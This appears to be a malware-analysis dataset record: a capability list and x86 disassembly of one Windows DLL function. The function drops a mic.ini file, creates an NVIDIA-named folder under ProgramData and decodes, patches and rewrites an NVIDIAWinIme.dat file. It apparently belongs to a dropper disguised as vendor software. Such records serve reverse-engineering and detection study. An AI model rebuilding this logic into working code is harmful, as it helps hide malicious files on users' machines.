Function at 0x10008d50
Capabilities:
Check if file exists
Create directory
Get file attributes
Get file size
Print debug messages
Read file on windows
Terminate process
Write file on windows

Disassembly:
sub esp, 0x51c
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x326]
mov word [esp + 0x324], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11d]
mov byte [esp + 0x11c], 0
rep stosd dword es:[edi], eax
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10054d88
stosw word es:[edi], ax
stosb byte es:[edi], al
call ebx
call fcn.10008cb0
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x220]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x224]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.10008c80
cmp eax, 2
je 0x10008fb9
push 0x10054d84
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:ProgramData
call ebp
cmp eax, 0xffffffff
jne 0x10008e19
push 0
push str.C:ProgramData
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 5
mov esi, str.C:ProgramDatamic.ini
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [esp + 0x18]
push ecx
movsb byte es:[edi], byte [esi]
call ebp
cmp eax, 0xffffffff
jne 0x10008fb4
push 0x49a5f
push 0x1000b048
push 0x32
call fcn.10008ab0
push 0x49a5f
lea edx, [esp + 0x28]
push 0x1000b048
push edx
call fcn.10008a50
add esp, 0x18
cmp eax, 0xffffffff
jne 0x10008e71
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10054d58
call ebx
lea eax, [esp + 0x324]
push str.C:ProgramDataNVIDIA_
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
push 0
push str.C:ProgramDataNVIDIA
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x324]
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.10008500
add esp, 8
push 0x10054d0c
call ebx
push 0
push 0
push 4
push 0
mov ecx, 0xa
mov esi, str.C:ProgramDataNVIDIANVIDIAWinIme.dat
lea edi, [esp + 0x12c]
push 3
lea eax, [esp + 0x130]
push 0xc0000000
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
je 0x10008fc1
push 0x10054d08
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
push ebp
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
push 0
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push ebx
push 0x42
call fcn.10008ab0
push 0
push ebp
push str.sxxxjgt_tes
push ebx
call fcn.10008b30
mov edi, eax
add esp, 0x1c
cmp edi, 0xffffffff
jne 0x10008f53
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.d6.111
call edi
jmp 0x10008f76
push str.d6.222
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add edi, ebx
mov ecx, 0x60
mov esi, 0x10054aa8
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10054ce8
call edi
push ebp
push ebx
push 0x42
call fcn.10008ab0
add esp, 0xc
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x14]
push 0
push edx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10054ce4
call edi
call fcn.10008b90
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x51c
ret